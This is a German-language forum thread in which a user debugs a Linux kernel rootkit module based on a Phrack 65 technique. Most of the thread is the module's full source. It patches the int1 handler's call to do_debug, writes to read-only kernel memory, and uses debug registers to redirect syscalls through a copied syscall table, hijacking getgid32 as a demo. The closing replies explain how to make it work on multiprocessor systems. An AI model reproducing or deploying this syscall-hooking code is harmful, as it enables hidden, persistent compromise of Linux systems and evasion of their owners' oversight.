do_debug teqneek - nicht jeder getgid32-aufruf wird gehookt.

Es geht immer noch um di8e Teqneek aus p65 (.:: Phrack Magazine ::.).

Ich habe mein kleines Tool weitergeschrieben, und dachte mir "hookste ma zum getgid32".
gesagt, getan und ausprobiert, DOCH:
Code:
$ cat t.c ; gcc t.c ; ./a.out ; ./a.out ; ./a.out
// __NR_getgid32 = 200
int main(){int x; __asm__ ("movl $200, %%eax; int $0x80; movl %%eax, %0" : "=r" (x)); printf("%d\n", x);}
t.c: In function ‘main’:
t.c:1: warning: incompatible implicit declaration of built-in function ‘printf’
31337
1000
31337
Es wird also nicht jeder Aufruf von getgid32 gehookt.

Ich hatte zuerst gedacht es könnte sich um eine RaceCondition bei
Code:
condition &= ~DR_TRAP0;
__asm__ __volatile__ ("movl %0, %%dr6" : : "r" (condition));
handeln, doch auch ein auskommentieren von condition &= ~.... hat keine Veränderung gebracht.


Warum wird also nicht jeder Aufruf von getgid32 gehookt??

Hier ist der Code, ist leicht hässlich, da ich mit ihm z.Zt. viel herumspiel:
Code:
#include <linux/module.h>
#include <linux/kernel.h>

#include <asm/unistd.h>
#include <asm/pgtable.h>
#include <asm/traps.h>

#include <asm/msr.h>



void **sct;
unsigned long sct_call;
unsigned long hook_tbl[346];


void *memmem(char *s1, int l1, char *s2, int l2)
{
    if (!l2) return s1;
    while (l1 >= l2) {
        l1--;
        if (!memcmp(s1,s2,l2))
            return s1;
        s1++;
    }
    return NULL;
}



struct {
unsigned short limit; /* length of IDT == base + limit */
unsigned int base; /* offset of IDT */
} __attribute__ ((packed)) idtr; /* interrupt descriptor table register */

struct descriptor {
unsigned short off1; /* handler offset - low */
unsigned short sel; /* segment selector */
unsigned char none,flags; /* reserved, flags (DPL) */
unsigned short off2; /* handler offset - high */
} __attribute__ ((packed)) descriptor;

unsigned long get_idt_entry(int number)
{
        struct descriptor idt;

        asm ("sidt %0" : "=m" (idtr));

        memcpy(&idt, (void *)(idtr.base + number * 8), sizeof(idt));
        return (idt.off2 << 16) | idt.off1;
}


static void write_ro_mem(unsigned char *to, unsigned char *from, unsigned int sz)
{
    int i;
    unsigned long address = (unsigned long)to;
        pgd_t *base = __va(read_cr3());
        pgd_t *pgd = &base[pgd_index(address)];
        pmd_t *pmd;
        pte_t *pte;

        pmd = pmd_offset(pud_offset(pgd, address), address);
        printk(KERN_CONT "*pde = %0*Lx ", sizeof(*pmd) * 2, (u64)pmd_val(*pmd));

        pte = pte_offset_kernel(pmd, address);
        printk("*pte = %0*Lx ", sizeof(*pte) * 2, (u64)pte_val(*pte));


    pte->pte |= _PAGE_RW;


    for (i = 0; i < sz; i++) {
        to[i] = from[i];
    }


    pte->pte &= ~_PAGE_RW;

        printk("\n");
}

asmlinkage int hacked_getgid(void)
{
    printk("EL8 HACKED :)\n");

    return 31337;
}


# define DR7_L0 (1)
# define DR7_G0 (1 << 1)

dotraplinkage void (*old_do_debug)(struct pt_regs *, long);

dotraplinkage void new_do_debug(struct pt_regs * regs, long error_code) 
{
    unsigned long condition;
    unsigned long mask = DR7_G0|DR7_L0;

    
    __asm__ __volatile__ ("movl %%dr6, %0" : "=r" (condition));
    
    if (condition & DR_TRAP0) {
        /* hook sct directly :> */

        /* make call sys_call_table(,eax,4) call our own table :> */
        regs->ax = ((regs->ax * sizeof(void *)) + (unsigned long)hook_tbl - (unsigned long)sct) / sizeof(void *);




                (*old_do_debug)(regs,error_code);

        condition &= ~DR_TRAP0;
        __asm__ __volatile__ ("movl %0, %%dr6" : : "r" (condition));
        __asm__ __volatile__ ("movl %0, %%dr7" : : "r" (mask));
        regs->flags |= X86_EFLAGS_RF;
    } else {
        (*old_do_debug)(regs, error_code);
        __asm__ __volatile__ ("movl %0, %%dr7" : : "r" (mask));

    }

    return;
}




void hook_sct(void)
{
    unsigned long handler;
    char *p;

    /* get sct */
    handler = get_idt_entry(0x80);

    p = memmem((char *)handler, 100, "\xff\x14\x85", 3);
    printk("sct call @ %p, sct @ %p\n", p, *(void **)(p + 3));



    /* copy sct contents to hooktbl */
    sct = *(void **)(p + 3);
    
    memcpy(hook_tbl, sct, 346 * sizeof(void *));


    sct_call = (unsigned long)p;

    /* hook funcs */
    hook_tbl[__NR_getgid32] = (unsigned long)hacked_getgid;
}





/* get_and_set_do_debug: 
 *   1. look up int1 handler in idt
 *   2. look for call do_debug
 *   3. replace call with our own one
 */
unsigned int get_and_set_do_debug(void)
{
    unsigned long handler;

        unsigned char *p;
        unsigned char buf[4] = "\x00\x00\x00\x00";
        unsigned int offset = 0, orig = 0;


     handler = get_idt_entry(0x1);
    printk("HANDLER %p\n", (void *)handler);

    p = (unsigned char *)handler;

        while (p[0] != 0xe8) {
        p++;
        }

        buf[0] = p[1];
        buf[1] = p[2];
        buf[2] = p[3];
        buf[3] = p[4];

        offset = *(unsigned int *)buf;
        orig   = offset + (unsigned int)p + 5;
    offset = (unsigned int)new_do_debug - (unsigned int)p - 5;

    write_ro_mem(p + 1, (unsigned char *)&offset, 4);

        return orig;

}

/*
 * init_module:
 *     1. get sct calls
 *      2. get_and_set_do_debug
 *      3. get tcp4_seq_show
 *      4. copy sct to hook_tbl
 *      5. setup hooks in hook tbl.
 *      6. setup DR7 (use sysenter BP (DR1) only if valX != 0)
 *      7. set BPs
 */
int init_module(void) {
    unsigned long mask = DR7_G0|DR7_L0;


    unsigned long addr = get_and_set_do_debug();
    old_do_debug = (void *)addr;
    
    hook_sct();


    __asm__ __volatile__ ("movl %0, %%dr7" : : "r" (mask));

    __asm__ __volatile__ ("movl %0, %%dr0" : : "r" (sct_call));


    printk("do_debug @ %p\n", (void *)addr);




    return 0;
}


void cleanup_module(void) { return ; }
 
Zuletzt bearbeitet:
Hi!

Hier mal eine Vermutung: Solltest du mit einem Multiprozessorsystem arbeiten, mußt du beachten, dass jeder Prozessor seine eigene IDT hat und sicherstellen, die Hooks auf jedem Prozessor anzubringen.

mfg
 
Ich modifiziere die IDT nicht, ich wüsste nicht warum ich darauf achten sollte.
Trotzdem Danke für die Info, werde ich mir merken, wenn ich mal mit der IDT herumspiele.

Kann es sein, dass jeder Prozessor seinen eigenen Satz debug register hat?
Oder ist das Bullshit?

EDIT: Genau daran hat es gelegen. Jeder Prozessor hat seinen eigenen Satz debug register.
Ich habe das Problem gelöst indem ich in do_debug DR0...DR3 setze und folgendes programm mit gdb
mehrfach ausführe:
Code:
main(){asm(".byte 0xcc");}
So werden dann auf jedem Prozessor meine Breakpoints gesetzt.

DANKE SS5
 
Zuletzt bearbeitet:
Zurück
Oben